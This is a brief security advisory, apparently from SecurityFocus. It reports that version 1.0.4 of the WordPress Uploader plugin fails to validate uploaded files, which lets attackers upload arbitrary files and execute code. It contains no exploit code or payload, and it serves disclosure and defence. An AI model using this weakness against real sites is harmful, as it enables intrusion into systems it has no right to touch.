source: https://www.securityfocus.com/bid/57112/info The Uploader plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application. Uploader 1.0.4 is vulnerable; other versions may also be affected.
